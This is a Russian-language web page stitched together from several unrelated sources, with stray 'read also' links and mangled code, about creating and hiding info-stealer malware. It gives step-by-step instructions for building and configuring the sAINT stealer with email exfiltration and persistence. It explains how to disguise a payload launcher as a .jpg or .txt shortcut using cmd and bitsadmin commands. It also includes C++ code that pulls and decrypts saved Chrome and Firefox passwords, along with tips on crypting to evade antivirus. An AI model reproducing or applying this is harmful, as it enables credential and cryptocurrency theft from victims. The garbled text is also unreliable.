Как спрятать стиллер в программу

Останний, Д. О. Стиллер «(s)AINT» и защита от него / Д. О. Останний, Е. И. Михайлов. — Текст : непосредственный // Юный ученый. — 2019. — № 1 (21). — С. 7-13. — URL: https://moluch.ru/young/archive/21/1358/ (дата обращения: 26.06.2023).

В работе рассматривается алгоритм действия вредоносного вируса Стиллер «(s)AINT», который прост в использовании и одновременно многофункционален. После запуска он копирует себя на жёсткий диск и собирает все данные, которые пользователи вводят с помощью клавиатуры, делает screenshots, а также фото с веб-камеры и становится опасным для всех пользователей зараженной машины. Последствия от воздействия данного вируса серьезны. В статье рассматриваются способы защиты от данного вируса.

Ключевые слова: вредоносный вирус, способ защиты, электронный ресурс, зараженный компьютер, Интернет.

Компьютерный вирус — это программа, способная создавать свои копии, внедрять их в различные объекты или ресурсы компьютерных систем, сетей и производить определенные действия без ведома пользователя.

Как криптовать вирус❔

Свое название компьютерный вирус получил за некоторое сходство с биологическим вирусом (например, в зараженной программе самовоспроизводится другая программа — вирус, а инфицированная программа может длительное время работать без ошибок, как в стадии инкубации).

Программа, внутри которой находится вирус, называется зараженной программой.

Когда инфицированная программа начинает работу, то сначала управление получает вирус. Вирус заражает другие программы, а также выполняет запланированные деструктивные действия. Для маскировки своих действий вирус активизируется не всегда, а лишь при выполнении определенных условий (истечение некоторого времени, выполнение определенного числа операций, наступления некоторой даты или дня недели и т. д.). [1]

После того как вирус выполнит нужные ему действия, он передает управление той программе, в которой он находится. Внешне зараженная программа может работать так же, как и обычная программа [2].

В мире распространяются тысячи самых различных вирусов, однако не все из них широко известны. Вирус становится известен только тогда, когда причиненный им ущерб достигнет определенной денежной величины. Несколько лет назад в Интернете начали появляться вирусы, разрушительные последствия которых исчислялись миллиардами долларов. Так образовался клуб вирусов-миллиардеров, в котором на данный момент их насчитывается около десятка. Все из них нанесли ущерб мировой экономике больше, чем на 1 млрд. долларов [3].

Актуальность представленной темы заключается в том, что незнание пользователями ПК, сотовых телефонов и других устройств, которые работают через Интернет, о наличии вируса Стиллер «(s)AINT»и способов защиты от него, может привести к серьезным последствиям, таким как разглашение конфиденциальной информации, снятие денежных средств с банковских счетов и др.

Цель работы — ознакомить всех желающих с общей информацией о стиллере «(s)AINT», рассказать о её назначении и опасности для пользователей.

КАК СПРЯТАТЬ СКРЫТЫЙ ТЕКСТ ИЛИ ФАЙЛ В КАРТИНКЕ БЕЗ ПРОГРАММ 2023

Поставленная цель включает в себя несколько задач: изучить алгоритм действия стиллера «(s)AINT», апробировать действия стиллера «(s)AINT», выявить последствия действия стиллера «(s)AINT», изучить способы защиты от стиллеров.

Объектом исследования является технология стиллера «(s)AINT». Предметом исследования — тип вредоносного программного обеспечения (далее по тексту ПО) стиллера «(s)AINT», который находится на зараженном компьютере и собирает данные.

Методы исследования: поисковый, анализа и синтеза, обобщения и систематизации полученных данных.

В основе рабочей гипотезы лежит предположение о том, что победить вредоносный вирус «Стиллер» можно только в том случае, если овладеть полной информацией об алгоритме его действия и способах защиты от него.

Научная новизна исследования: вредоносный тип ПО Стиллер «(s)AINT» слабо изучен, легко конспирирует себя и этим самым наносит огромный вред пользователям ПК, мобильных устройств и другой технике, которая работает с помощью сети Интернет.

Практическая значимость исследования определяется возможностью использования материалов данной работы для защиты персонального компьютера (далее по тексту — ПК), мобильных телефонов и других устройств, которые работают с помощью сети интернет с целью их защиты их от вредоносных вирусов.

«Стиллер» — тип вредоносного ПО, который находится на зараженном компьютере и собирает данные, чтобы отправить его злоумышленнику для использования. Типичными целями поражения являются учетные данные, используемые в онлайн-банковских услугах, сайтах социальных сетей, электронной почте или FTP-счетах.

Стиллер «(s)AINT» представляет собой программный код, который служит для хищения паролей и прочих данных с компьютера. Раньше данные отправлялись на сниффер, но сейчас уже активно по Интернету распространены коды, которые отправляют похищенное на почту [4].

Info stealers могут использовать множество методов сбора данных. Наиболее распространенными из них являются:

– зависание браузеров (а иногда и других приложений) и кражи учетных данных, которые набираются пользователем;

– использование скриптов веб-инъекций, которые добавляют дополнительные поля в веб-формы и отправляют информацию от них на сервер, принадлежащий злоумышленнику;

– захват формы (поиск определенных открытых окон и похищение их содержимого);

– с помощью раскладки клавиатуры;

– кражи паролей, сохраненных в системе, и файлов cookie.

Современные похитители обычно являются частями бот-сетей.

Иногда цель атаки и связанные с ней события, настраиваются удаленно командой, отправленной с сервера Command and Control (C

– похищение денежных средств со счетов как граждан, так и банков и их перевод на счета похитителей.

Украденные учетные записи электронной почты могут использоваться в серверном направлении для отправки спама, а украденная учетная запись SSH может использоваться как прокси-сервер для атак, совершаемых кибер-преступниками.

Прежде всего, следует взять за привычку, соблюдать безопасность при посещении веб-сайтов и не открывать неизвестные вложения. Однако в некоторых случаях этого недостаточно. Наборы наложения могут все же устанавливать вредоносное ПО на уязвимую машину, даже без какого-либо взаимодействия. Именно поэтому важно иметь качественное антивирусное ПО.

Stealer «Saint» простой в использование и одновременно многофункциональный, после запуска он как обычный троян копирует себя на жёсткий диск и добавляет в автозагрузку после чего работает как key loger, то есть собирает все данные? которые вы вводите на клавиатуре, делает screenshots, а также фото с веб-камеры после чего отправляется на почту злоумышленника. Злоумышленник в дальнейшем разбирает всю информацию и выбирает самое необходимое. Saint, довольно специфичный stealer сразу по нескольким причинам:

– во-первых, его не видят антивирусы;

– во-вторых, этот stealer написан на java поэтому для его работы у жертвы должно быть установлено соответствующие ПО (java runtime). Все действия будут выполняться на операционной системе kalilinux.

Ниже рассмотрим алгоритм работы «Стиллеров»

Алгоритм работы «Стиллера»:

  1. Открываем проводник.
  2. Вводим команду-apt update, команда обновит репозитарии для того, чтобы можно было скачать только самые новые программы.
  3. Вводим команду- apt install и названия пакетов (maven default-jdk default-jre openjdk-8-jdk openjdk-8-jre zlib1g-dev libncurses5-dev lib32z1 lib32ncurses5 -y).
  4. Копируем команду -git clone https://github.com/tiagorlampert/sAINT.git.
  5. Переходим в каталог Saint-cd sAINT.
  6. Вводим команду-chmod +x configure.sh.
  7. Вводим команду-./configure.sh.
  8. Нажимаем Enter и запускаем скрипт, который скачает все необходимые файлы. Благодаря этому мы сможем быстро собрать stealer в соответствии с нашей конфигурацией. Build Success обозначает, что всё скомпилировалось успешно. Далее отчищаем экран командой clear. Приступаем к сборке самого стиллера.
  9. Вводим команду-java -jar sAINT.jar. Нас приветствует окно сборщика sAINT.
Читайте также:
Прекращена работа программы wolfenstein sp final

THIS SOFTWARE IS PROVIDED «AS IS» WITHOUT WARRANTY OF ANY KIND. YOU MAY USE THIS SOFTWARE AT YOUR OWN RISK. THE USE IS COMPLETE RESPONSIBILITY OF THE END-USER. THE DEVELOPERS ASSUME NO LIABILITY AND ARE NOT RESPONSIBLE FOR ANY MISUSE OR DAMAGE CAUSED BY THIS PROGRAM (ЭТО ПРОГРАММНОЕ ОБЕСПЕЧЕНИЕ ПРЕДОСТАВЛЯЕТСЯ «ТАК КАК ЕСТЬ» БЕЗ КАКИХ-ЛИБО ГАРАНТИЙ. ВЫ МОЖЕТЕ ИСПОЛЬЗОВАТЬ ЕГО НА СВОЙ СОБСТВЕННЫЙ РИСК.

ИСПОЛЬЗОВАНИЕ — ПОЛНАЯ ОТВЕТСТВЕННОСТЬ КОНЕЧНОГО ПОЛЬЗОВАТЕЛЯ. РАЗРАБОТЧИКИ НЕ НЕСУТ ОТВЕТСТВЕННОСТЬ ЗА ЛЮБЫЕ НЕПРАВИЛЬНЫЕ ДЕЙСТВИЯ ИЛИ ПОВРЕЖДЕНИЯ, ВЫЗВАННЫЕ ЭТОЙ ПРОГРАММОЙ)

Рис. 1. Активация пакета Стиллера «SAINT»

Рис. 2. Главное меню стиллера «SAINT»

  1. Нажимаем Enter.
  2. Вводим свою электронную почту и пароль.
  3. Далее идёт пункт «Включить захват экрана?» Чтобы ответить да вводим-Y, а если отказываетесь вводим-N.
  4. «Включить захват изображения с веб-камеры?» Отвечаем «Y» или «N».
  5. «Включить сохранение?» Если ввести «Y», то стиллер пропишет себя в автозагрузку. Если необходимо провести одноразовый запуск стиллера, прописываем «N».
  6. «Хранить данные на компьютере?» Отвечаем «Y» или «N». Если соглашаемся все накопленные данные будут храниться на компьютере жертвы.
  7. «Введите число символов для отправки E-mail» Вводим то число символов, которое нам потребуется.
  8. Далее сверяем все данные, если всё устраивает вводим Y.

Рис. 3. Настройка функций стиллера «SAINT»

Так как Стиллер скомпилировался в формате java нам предлагают создать exe файл, жмём Y.

Рис. 4. Готовый стиллер «SAINT»

Затем нужно скрыть стиллер, например, использовать метод bad USB или внедрить его в программу. В дальнейшем если жертва откроет программу, стиллер начнёт действовать самостоятельно.

Рис. 5. Вредоносный результат стиллера «SAINT»

Защита от «СТИЛЛЕРА»

Во-первых, никогда не следует открывать файлы из ненадёжных источников.

Во-вторых, следует установить хороший антивирус, но и он не всегда может помочь.

В-третьих, если всё-таки стиллер, запущен, запустите данный скрипт, который деактивирует «Стилеер» и уберёт из автозагрузки.

Скрипт деактивации стиллера:

В-четвёртых, если пользователь все-таки подозревает, что компьютер заражен кражей информации, он должен выполнить полную проверку системы с помощью автоматических средств защиты от вредоносных программ. Удаление вредоносного ПО недостаточно. Крайне важно немедленно изменить все пароли.

Резюмируя сказанное, можно сделать следующие выводы. В сети Сети-интернет мало информации о том, что такое «Стиллеры» и как ими пользоваться. Нужно помнить о том, что они создаются не просто так, ради забавы. Основной их целью является добыча полезной информации с компьютера жертвы для последующей продажи.

Создавать и использовать «Стиллер» определенно не стоит, так как за это могут привлечь к ответственности, в том числе и к уголовной. Нужно остерегаться «Стиллера», максимально защитив свой компьютер и не качать файлы с неизвестных источников.

1. Савицкий А. Опрос: Самая непонятная киберугроза. Лаборатория Касперского (10февраля 2014). // Электронный ресурс / https://www.kaspersky.ru/blog/opros-samaya-neponyatnaya-kiberugroza/2960/ (дата обращения 12.12.2018)

2. Коэн Ф. Компьютерные вирусы — теория и эксперименты. Архивная копия от 30 сентября 2007 // // wikiplanet.click›enciclopedia (дата обращения 12.12.2018)

3. Боровко Р. Экономический ущерб от вирусов. Рынок информационной безопасности 2003 // Электронный ресурс / http://www.cnews.ru/reviews/free/security/part1/eco_loss.shtml (дата обращения 12.12.2018)

4. Электронный ресурс // http://fb.ru/article/408968/chto-takoe-stiller-i-kak-zaschitit-sebya-ot-nego (дата обращения 12.12.18)

5. Электронный ресурс // http://fb.ru/article/310372/keylogger-chto-eto-takoe-tseli-primeneniya-kak-ot-nego-zaschititsya-klaviaturnyiy-shpion (дата обращения 13.12.2018)

Основные термины (генерируются автоматически): AINT, программа, THE, THIS, вирус, способ защиты, ANY, SOFTWARE, USE, зараженный компьютер.

Источник: moluch.ru

Стиллер в файле любого расширения

LOLZTEAM

Прячем стиллер в тхт и так далее!

Статья носит образовательный характер, мы ни к чему не призываем и не обязываем. Информация представлена исключительно в ознакомительных целях.

Больше интересных статей на нашем форуме: https://zelenka.guru/articles/

Подписывайтесь на канал и делитесь ссылкой на статью с друзьями!

Начало

Как выглядит зараженный файл?

Как вы уже поняли, «Exploit.txt» заражён. Он выглядит как обычный текстовый документ, на компьютере жертвы не будет отличий. В этом файле спрятана полезная нагрузка, которая открывает файл по указанному пути. Вся его суть завязана на расширении «.lnk», которое Windows не отображает. Такой файл антивирус не удалит при скантайме, мы научимся создавать команду, которая активирует нашу полезную нагрузку с любого места на устройстве.

Как на это попался подписчик?

По его словам, он занимается криптоотработкой. В логе компьютера он обнаружил холодный кошелёк, баланс которого превышал 13k$. При попытке открыть скриншот экрана с расширением «.jpg», он попросту не открылся. Полная маскировка, файл не подавал признаков ненастоящего. Спустя несколько минут его криптокошелёк был похищен, ушла огромная сумма денег на адрес злоумышленника.

Огромные потери и недопонимание, как он, будучи опытным пользователем смог скачать вирус? Пример такого файла изучите ниже.

Принцип работы:

Как я и упомянул выше, ярлыки не показывают свой тип. Мы бы не смогли использовать «.exe», так как он отображает свое окончание при включенном пункте в «Параметрах папок». Основной принцип работы: запуск файла из указанной директории. Да, можно внедрить загрузку файла прямо с сервера, но вариант сам по себе не очень. Причина: полный детект антивирусов.

Даже при чистом стабе загрузка не начнётся, антивирус моментально удалит ярлык.

В образовательном формате оставляю пример, изучите после следующего пункта.

C:WindowsSystem32cmd.exe /k C:WindowsSystem32bitsadmin.exe /transfer C: /k — Принцип работы загрузки HACK2DAY.exe», который и будет выполняться после открытия ярлыка. Вы также можете поместить его вглубь, туда, куда никто и заходить не станет. После этого создаем ярлык на этот файл.

Переносим его в основную «лицевую» папку и называем как душе угодно, указав расширение. У меня это будет «Screenshot.jpg». Но вот незадача, как он будет работать на другом устройстве? Ведь путь простроен по локальным данным в которых курирует имя компьютера, диск на котором хранится папка и прочие загвоздки.

Все просто, мы будем обращаться к командной строке для установления текущего пути, что и сделает наш ярлык «портативным» под любое устройство. Для этого открываем свойства ярлыка и в строку «Start in» вписываем «%currentdir%». Чтобы открыть наш «.exe» также без командной строки не обойтись. В «Target» вводим следующий код, изменяя его под свой файл:

%windir%system32cmd.exe /c FileGrabber\Users\Admin..\HACK2DAY.exe

УЧТИТЕ, НУЖНО ИСПОЛЬЗОВАТЬ «\» ПО ДРУГОМУ НЕ БУДЕТ РАБОТАТЬ!

По итогу мы должны достигнуть такой картины как на скриншоте:

В этом меню можно и замаскировать иконку вашего ярлыка на ту, которую имеет настоящий файл. Для этого нажимаем «Change Icon» и ищем подходящую. Если у вас не будет выбора, в окне введите несуществующий путь к файлу и оно выдаст ошибку, тем самым предложит выбрать из системных. Так как у меня маскировка под «.jpg» я выбрал соответствующую.

По итогу я получил файл, который является копией обычного изображения. Отличить такое можно только по маленькой «стрелочке», которая создается в левом нижнем углу иконки.

Источник: telegra.ph

Все о стиллерах: что это такое и как им пользоваться?

Listen to this article

Ты наверняка слышал о таком классе зловредных приложений, как стилеры. Опытные игроки в онлайн-играх знают, что такое стиллер, как не словить его и даже как создать. Однако создание и распространение карается законом, поэтому лучше не заниматься таким. Так что же такое стиллер?

Компьютерный вирус — это программа, способная создавать свои копии, внедрять их в различные объекты или ресурсы компьютерных систем, сетей и производить определенные действия без ведома пользователя.

Стиллер — это вирусное программное обеспечение (ПО), которое используется с целью того, что бы украсть логины и пароли потенциальной жертвы.

Когда инфицированная программа начинает работу, то сначала управление получает вирус. Вирус заражает другие программы, а также выполняет запланированные деструктивные действия. Для маскировки своих действий вирус активизируется не всегда, а лишь при выполнении определенных условий (истечение некоторого времени, выполнение определенного числа операций, наступления некоторой даты или дня недели и т. д.).

Читайте также:
Как запустить программу криптопро csp

Стиллер представляет собой программный код, который служит для хищения паролей и прочих данных с компьютера. Раньше данные отправлялись на сниффер, но сейчас уже активно по Интернету распространены коды, которые отправляют похищенное на почту.

Как защитить себя?

Для начала нужно поставить хороший антивирус, ведь он хоть как-то защищает. Без антивируса вы будете «ловить» все подряд. В Интернете часто пишут, что такое стиллер и как его создать, даже предоставляют программы для их создания. Но зачастую программы не работают, а в них самих есть стиллер. Каждый скачиваемый файл нужно проверить обязательно, чтобы не потерять свои данные.

Также существуют программы, которые удаляют стиллер с компьютера. Рекомендуется еще проверять ПК на наличие вирусов с помощью специальных утилит, например, DrWeb Cure It.

В сети интернет мало информации о том, что такое «Стиллеры» и как ими пользоваться. Нужно помнить о том, что они создаются не просто так, ради забавы. Основной их целью является добыча полезной информации с компьютера жертвы для последующей продажи. Создавать и использовать «Стиллер» определенно не стоит, так как за это могут привлечь к ответственности, в том числе и к уголовной. Нужно остерегаться «Стиллера», максимально защитив свой компьютер и не качать файлы с неизвестных источников.

Храните ваши пароли в облаке, пароль от которого вы будете знать на память, это самый надежный способ защитить свои данные. Никогда не сохраняйте пароли и не используйте никакие автозаполнения форм, когда вы например используете обменники валют в автозаполнение могут попасть данные вашей карты, ваш номер телефона и e-mail.

Принцип работы вредоноса

Все эти данные приходят вам в админ-панель от стиллера, где указано с какого IP адреса и имени компьютера это все прилетело. Грубо говоря мы можем забрать все самое ценное, что может быть на компьютере.

После покупки вируса у хакеров вам, как правило, выдают готовую к использованию версию софта с доступом в админ-панель, к тому же дополнительно настраивать уже ничего не нужно. Пример панели на рисунке ниже.

Как создать свой стиллер?

Похищение чужих учетных или других личных данных без надлежащего письменного соглашения карается по закону.

Браузеры в основе которых лежит Chrome или Firefox, хранят логины и пароли пользователей в зашифрованном виде в базе SQLite. Эта СУБД компактна и распространяется бесплатно по свободной лицензии. Так же, как и рассматриваемые нами браузеры: весь их код открыт и хорошо документирован, что, несомненно, поможет нам.

Рекламируя свои продукты, вирусописатели часто обращают внимание потенциальных покупателей на то, что в данный момент их стилер не «палится» антивирусом. Тут надо понимать, что все современные и более-менее серьезные вирусы и трояны имеют модульную структуру, каждый модуль в которой отвечает за что-то свое: один модуль собирает пароли, второй препятствует отладке и эмуляции, третий определяет факт работы в виртуальной машине, четвертый проводит обфускацию вызовов WinAPI, пятый разбирается со встроенным в ОС файрволом.

Так что судить о том, «палится» определенный метод антивирусом или нет, можно, только если речь идет о законченном «боевом» приложении, а не по отдельному модулю.

В чистом виде стиллер никто не распространяет — перед этим его криптуют (процесс наращивание на ваш файл лишней мишуры для избавления от детектов, криптования бывают очень разными. А вообще самый хороший вариант это чистить исходный код, но естественно вам его никто не покажет, если вы пользователь софта, а не его создатель. Услуги криптования стоят примерно 7-15 долларов, если их покупать. Обновлять крипт нужно в зависимости от того как и куда вы льете трафик.

Некоторые сканеры наращивают детекты, а некоторые — нет, но думаю об этом нет смысла писать, так как на момент прочтения информация может быть уже не актуальной. Также важной деталью будет то — что нельзя лить на любой файловый обменник, так как большинство популярных проверяют файлы на вирусы и это добавляет детектов.

И так! Вернемся к нашим браузерам…

Chrome

Для начала давай получим файл, где хранятся учетные записи и пароли пользователей. В Windows он лежит по такому адресу:

C:Users%username%AppDataLocalGoogleChromeUserDataDefaultLogin Data

Чтобы совершать какие-то манипуляции с этим файлом, нужно либо убить все процессы браузера, что будет бросаться в глаза, либо куда-то скопировать файл базы и уже после этого начинать работать с ним.

Давай напишем функцию, которая получает путь к базе паролей Chrome. В качестве аргумента ей будет передаваться массив символов с результатом ее работы (то есть массив будет содержать путь к файлу паролей Chrome).

#define CHROME_DB_PATH «\Google\Chrome\User Data\Default\Login Data» bool get_browser_path(char * db_loc, int browser_family, const char * location) < memset(db_loc, 0, MAX_PATH); if (!SUCCEEDED(SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, db_loc))) < return 0; >if (browser_family == 0) < lstrcat(db_loc, TEXT(location)); return 1; >>
char browser_db[MAX_PATH]; get_browser_path(browser_db, 0, CHROME_DB_PATH);

Давай вкратце поясню, что здесь происходит. Мы сразу пишем эту функцию, подразумевая будущее расширение. Один из ее аргументов — поле browser_family , оно будет сигнализировать о семействе браузеров, базу данных которых мы получаем (то есть браузеры на основе Chrome или Firefox).

Если условие browser_family == 0 выполняется, то получаем базу паролей браузера на основе Chrome, если browser_family == 1 — Firefox. Идентификатор CHROME_DB_PATH указывает на базу паролей Chrome. Далее мы получаем путь к базе при помощи функции SHGetFolderPath , передавая ей в качестве аргумента CSIDL значение CSIDL_LOCAL_APPDATA , которое означает:

#define CSIDL_LOCAL_APPDATA 0x001c // Local SettingsApplicaiton Data (non roaming)

Функция SHGetFolderPath устарела, и в Microsoft рекомендуют использовать вместо нее SHGetKnownFolderPath . Проблема в том, что поддержка этой функции начинается с Windows Vista, поэтому я применил ее более старый аналог для сохранения обратной совместимости. Вот ее прототип:

HRESULT SHGetFolderPath( HWND hwndOwner, int nFolder, HANDLE hToken, DWORD dwFlags, LPTSTR pszPath );

После этого функция lstrcat совмещает результат работы SHGetFolderPath с идентификатором CHROME_DB_PATH .

База паролей получена, теперь приступаем к работе с ней. Как я уже говорил, это база данных SQLite, работать с ней удобно через SQLite API, которые подключаются с заголовочным файлом sqlite3.h. Давай скопируем файл базы данных, чтобы не занимать его и не мешать работе браузера.

int status = CopyFile(browser_db, TEXT(«.\db_tmp»), FALSE); if (!status) < // return 0; >

Читайте также:
Как написать программу курса

Теперь подключаемся к базе командой sqlite3_open_v2 . Ее прототип:

int sqlite3_open_v2( const char *filename, /* Database filename (UTF-8) */ sqlite3 **ppDb, /* OUT: SQLite db handle */ int flags, /* Flags */ const char *zVfs /* Name of VFS module to use */);

Первый аргумент — наша база данных; информация о подключении возвращается во второй аргумент, дальше идут флаги открытия, а четвертый аргумент определяет интерфейс операционной системы, который должен использовать это подключение к базе данных, в нашем случае он не нужен. Если эта функция отработает корректно, возвращается значение SQLITE_OK , в противном случае возвращается код ошибки.

sqlite3 *sql_browser_db = NULL; status = sqlite3_open_v2(TEMP_DB_PATH, if(status != SQLITE_OK) < sqlite3_close(sql_browser_db); DeleteFile(TEXT(TEMP_DB_PATH));

Обрати внимание: при некорректной отработке функции нам все равно необходимо самостоятельно закрыть подключение к базе и удалить ее копию.

Теперь начинаем непосредственно обрабатывать данные в базе. Для этого воспользуемся функцией sqlite3_exec() .

status = sqlite3_exec(sql_browser_db, «SELECT origin_url, username_value, password_value FROM logins», crack_chrome_db, sql_browser_db, if (status != SQLITE_OK) return 0;

Эта функция имеет такой прототип:

int sqlite3_exec( sqlite3*, /* An open database */ const char *sql, /* SQL to be evaluated */ int (*callback)(void*,int,char**,char**), /* Callback */ void *, /* 1st argument to callback */ char **errmsg /* Error msg written here */);

Первый аргумент — наша база паролей, второй — это команда SQL, которая вытаскивает URL файла, логин, пароль и имя пользователя, третий аргумент — это функция обратного вызова, которая и будет расшифровывать пароли, четвертый — передается в нашу функцию обратного вызова, ну а пятый аргумент сообщает об ошибке.

Давай остановимся подробнее на callback-функции, которая расшифровывает пароли. Она будет применяться к каждой строке из выборки нашего запроса SELECT . Ее прототип — int (*callback)(void*,int,char**,char**) , но все аргументы нам не понадобятся, хотя объявлены они должны быть. Саму функцию назовем crack_chrome_db , начинаем писать и объявлять нужные переменные:

int crack_chrome_db(void *db_in, int arg, char **arg1, char **arg2) < DATA_BLOB data_decrypt, data_encrypt; sqlite3 *in_db = (sqlite3*)db_in; BYTE *blob_data = NULL; sqlite3_blob *sql_blob = NULL; char *passwds = NULL; while (sqlite3_blob_open(in_db, «main», «logins», «password_value», count++, 0, int result; sz_blob = sqlite3_blob_bytes(sql_blob); dt_blob = (BYTE *)malloc(sz_blob); if (!dt_blob) < sqlite3_blob_close(sql_blob); sqlite3_close(in_db); >data_encrypt.pbData = dt_blob; data_encrypt.cbData = sz_blob;

А теперь приступим непосредственно к дешифровке. База данных Chrome зашифрована механизмом Data Protection Application Programming Interface (DPAPI). Суть этого механизма заключается в том, что расшифровать данные можно только под той учетной записью, под которой они были зашифрованы. Другими словами, нельзя стащить базу данных паролей, а потом расшифровать ее уже на своем компьютере. Для расшифровки данных нам потребуется функция CryptUnprotectData .

DPAPI_IMP BOOL CryptUnprotectData( DATA_BLOB *pDataIn, LPWSTR *ppszDataDescr, DATA_BLOB *pOptionalEntropy, PVOID pvReserved, CRYPTPROTECT_PROMPTSTRUCT *pPromptStruct, DWORD dwFlags, DATA_BLOB *pDataOut ); if (!CryptUnprotectData(data_decrypt))

После этого выделяем память и заполняем массив passwds расшифрованными данными.

passwds = ( char *)malloc(data_decrypt.cbData + 1); memset(passwds, 0, data_decrypt.cbData); int xi = 0; while (xi

Собственно, на этом все! После этого passwds будет содержать учетные записи пользователей и URL. А что делать с этой информацией — вывести ее на экран или сохранить в файл и отправить куда-то его — решать тебе.

Firefox

Переходим к Firefox. Это будет немного сложнее, но мы все равно справимся! Для начала давай получим путь до базы данных паролей. Помнишь, в нашей универсальной функции get_browser_path мы передавали параметр browser_family ? В случае Chrome он был равен нулю, а для Firefox поставим 1.

bool get_browser_path(char * db_loc, int browser_family, const char * location) < . if (browser_family == 1) < memset(db_loc, 0, MAX_PATH); if (!SUCCEEDED(SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, db_loc))) < // return 0; >

В случае с Firefox мы не сможем, как в Chrome, сразу указать путь до папки пользователя. Дело в том, что имя папки пользовательского профиля генерируется случайно.

Но это ерундовая преграда, ведь мы знаем начало пути ( \Mozilla\Firefox\Profiles\ ). Достаточно поискать в нем объект «папка» и проверить наличие в ней файла \logins.json «. Именно в этом файле хранятся интересующие нас данные логинов и паролей. Разумеется, в зашифрованном виде. Реализуем все это в коде.

lstrcat(db_loc, TEXT(location)); // Объявляем переменные const char * profileName = «»; WIN32_FIND_DATA w_find_data; const char * db_path = db_loc; // Создаем маску для поиска функцией FindFirstFile lstrcat((LPSTR)db_path, TEXT(«*»)); // Просматриваем, нас интересует объект с атрибутом FILE_ATTRIBUTE_DIRECTORY HANDLE gotcha = FindFirstFile(db_path, while (FindNextFile(gotcha, if (w_find_data.dwFileAttributes if (strlen(w_find_data.cFileName) >2) < profileName = w_find_data.cFileName; >> > // Убираем звездочку 🙂 db_loc[strlen(db_loc) — 1] = ‘’; lstrcat(db_loc, profileName); // Наконец, получаем нужный нам путь lstrcat(db_loc, «\logins.json»); return 1;

В самом конце переменная db_loc , которую мы передавали в качестве аргумента в нашу функцию, содержит полный путь до файла logins.json , а функция возвращает 1, сигнализируя о том, что она отработала корректно.

Теперь получим хендл файла паролей и выделим память под данные. Для получения хендла используем функцию CreateFile , как советует MSDN.

DWORD read_bytes = 8192; DWORD lp_read_bytes; char *buffer = (char *)malloc(read_bytes); HANDLE db_file_login = CreateFileA(original_db_location, GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); ReadFile(db_file_login, buffer, read_bytes,

Все готово, но в случае с Firefox все не будет так просто, как с Chrome, — мы не сможем просто получить нужные данные обычным запросом SELECT, да и шифрование не ограничивается одной-единственной функцией WinAPI.

Дополнительная информация: Network Security Services (NSS)

Браузер Firefox активно использует функции Network Security Services для реализации шифрования своей базы. Эти функции находятся в динамической библиотеке, которая лежит по адресу C:Program FilesMozilla Firefoxnss3.dll .

Все интересующие нас функции нам придется получить из этой DLL. Сделать это можно стандартным образом, при помощи LoadLibraryGetProcAdress . Код однообразный и большой, поэтому я просто приведу список функций, которые нам понадобятся:

  • NSS_Init ;
  • PL_Base64Decode ;
  • PK11SDR_Decrypt ;
  • PK11_Authenticate ;
  • PK11_GetInternalKeySlot ;
  • PK11_FreeSlot .

Это функции инициализации механизма NSS и расшифровки данных. Давай напишем функцию расшифровки, она небольшая. Я добавлю комментарии, чтобы все было понятно.

char * data_uncrypt(std::string pass_str) < // Объявляем переменные SECItem crypt; SECItem decrypt; PK11SlotInfo *slot_info; // Выделяем память для наших данных char *char_dest = (char *)malloc(8192); memset(char_dest, NULL, 8192); crypt.data = (unsigned char *)malloc(8192); crypt.len = 8192; memset(crypt.data, NULL, 8192); // Непосредственно расшифровка функциями NSS PL_Base64Decode(pass_str.c_str(), pass_str.size(), char_dest); memcpy(crypt.data, char_dest, 8192); slot_info = PK11_GetInternalKeySlot(); PK11_Authenticate(slot_info, TRUE, NULL); PK11SDR_Decrypt(decrypt, NULL); PK11_FreeSlot(slot_info); // Выделяем память для расшифрованных данных char *value = (char *)malloc(decrypt.len); value[decrypt.len] = 0; memcpy(value, decrypt.data, decrypt.len); return value; >

Теперь осталось парсить файл logins.json и применять нашу функцию расшифровки. Для краткости кода я буду использовать регулярные выражения и их возможности в C++ 11.

string decode_data = buffer; // Определяем регулярки для сайтов, логинов и паролей regex user(«»encryptedUsername»:»([^»]+)»»); regex passw(«»encryptedPassword»:»([^»]+)»»); regex host(«»hostname»:»([^»]+)»»); // Объявим переменную и итератор smatch smch; string::const_iterator pars(decode_data.cbegin()); // Парсинг при помощи regex_search, расшифровка данных нашей // функцией data_uncrypt и вывод на экран расшифрованных данных do < printf(«Sitet: %s», smch.str(1).c_str()); regex_search(pars, decode_data.cend(), smch, user); printf(«Login: %s», data_uncrypt(smch.str(1))); regex_search(pars, decode_data.cend(), smch, passw); printf(«Pass: %s»,data_uncrypt( smch.str(1))); pars += smch.position() + smch.length(); >while (regex_search(pars, decode_data.cend(), smch, host));

Источник: rucore.net

Рейтинг
( Пока оценок нет )
Загрузка ...
EFT-Soft.ru